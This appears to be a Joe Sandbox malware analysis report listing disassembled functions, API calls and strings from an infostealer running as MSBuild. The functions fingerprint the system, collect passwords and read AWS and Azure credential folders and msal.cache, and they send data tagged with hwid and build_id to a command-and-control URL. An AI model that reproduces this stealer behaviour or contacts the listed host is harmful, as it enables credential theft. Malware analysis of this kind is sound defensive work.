Cores: , xrefs: 0041428E
HWID: , xrefs: 00413D4E
Windows: , xrefs: 00413E70
Version: , xrefs: 00413B9F
Display Resolution: , xrefs: 0041406F
Work Dir: In memory, xrefs: 00413E30
Computer Name: , xrefs: 00413FAD
[Hardware], xrefs: 0041420D
Keyboard Languages: , xrefs: 004140DE
Date: , xrefs: 00413C1F
AV: , xrefs: 00413F3E
TimeZone: , xrefs: 004141AC

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$AllocateCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 3634126619-1014693891
Opcode ID: 7a46959f5221a3ecf59d0b49526b51229a01ec7697e4ef637f3ce16e9305e42c
Instruction ID: 8a42f407c24202d7a6dd8fa6120b12fd45f2decad8a8e81766ce9a60c8fe54d8
Opcode Fuzzy Hash: 7a46959f5221a3ecf59d0b49526b51229a01ec7697e4ef637f3ce16e9305e42c
Instruction Fuzzy Hash: EB527D71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB610771A1DBB87E8E8B98

Function 004169B6 Relevance: 45.8, APIs: 9, Strings: 17, Instructions: 315
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0041683E: StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AC2

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B1F
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B78
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BD8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C31
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C47
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CA7
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D00
Sleep.KERNEL32(0000EA60), ref: 00416D0F

Strings

sqlp.dll, xrefs: 00416DAC
>wA, xrefs: 00416E2D
sqlp.dll, xrefs: 00416D44
ERROR, xrefs: 00416ABA
ERROR, xrefs: 00416BD0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DBE
ERROR, xrefs: 00416C29
ERROR, xrefs: 00416B17
http://lade.petperfectcare.com:80, xrefs: 00416A54
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D8D
sqlp.dll, xrefs: 00416DDD
ERROR, xrefs: 00416B70
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D25
ERROR, xrefs: 00416C9F
ERROR, xrefs: 00416CF8
ERROR, xrefs: 00416C3F
sql.dll, xrefs: 00416E0E

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: >wA$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$http://lade.petperfectcare.com:80$sql.dll$sqlp.dll$sqlp.dll$sqlp.dll
API String ID: 507064821-3052648669
Opcode ID: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction ID: c90f6ea4a5ca348140cab4ba7e9dbaa9ca4af95923ca0130c421cdf06f76cfec
Opcode Fuzzy Hash: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction Fuzzy Hash: 0FC15C31E40118ABCF10FB66DD47ACCB775AF04308F51406BF815B7192DBB8AE898B99

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
Instruction ID: b1bb328f08e938e4400443fd48ceaf11af5fc61e9b4d8feda928490e573589d9
Opcode Fuzzy Hash: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
Instruction Fuzzy Hash: 02E14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction ID: dc35adcabb2262aeaa3715ac701fce149c27e2d4e5217412d5f4b6884cb75f27
Opcode Fuzzy Hash: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction Fuzzy Hash: E2814032900208AFCF05FFA1EE4A9CD7B76BF08316F205026F501B31A1EB7A5E559B59

Function 00404B2E Relevance: 35.4, APIs: 12, Strings: 8, Instructions: 378
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

hwid, xrefs: 00404EAD
", xrefs: 00404ED9
", xrefs: 00405039
------, xrefs: 00404DFB
------, xrefs: 00404F5B
HxA, xrefs: 00405222
build_id, xrefs: 0040500D
------, xrefs: 00404C75

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$HxA$build_id$hwid
API String ID: 3006978581-3648483202
Opcode ID: 4311e55ce33868b401eed5760171e0141d3d02343bc0573087fb32d4ef5704ac
Instruction ID: 21305393b516d721eabc2380545c4b93fc8e403c2138cad973479bd5099e6fae
Opcode Fuzzy Hash: 4311e55ce33868b401eed5760171e0141d3d02343bc0573087fb32d4ef5704ac
Instruction Fuzzy Hash: 0C02C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129memoryfileCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

delays.tmp, xrefs: 004016A4
%s%s, xrefs: 004016B6

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction ID: 9b5f552432b4e98a6f0c5797751fefc193ccc8af765751ef1568987e4d70ee72
Opcode Fuzzy Hash: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction Fuzzy Hash: B641C6B1D00218ABDB205F61AC4CF9F7B7DEB85715F1016BAF00AE10A1DA394E54CF28

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

Azure\.aws, xrefs: 004165A5
\.azure\, xrefs: 00416512
msal.cache, xrefs: 0041661E
Azure\.azure, xrefs: 00416531
*.*, xrefs: 004165AA
*.*, xrefs: 00416536
\.aws\, xrefs: 00416589
\.IdentityService\, xrefs: 004165FD
Azure\.IdentityService, xrefs: 00416619

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction ID: 84896bacdfb64059cc425482cd21a2e289ba5d14c04e476c3e3a3401a8d995fd
Opcode Fuzzy Hash: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction Fuzzy Hash: E841C671D4021C7BDB14EB60EC47FDD7378AB09304F6044AAB605A7090EABDAB888F58

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

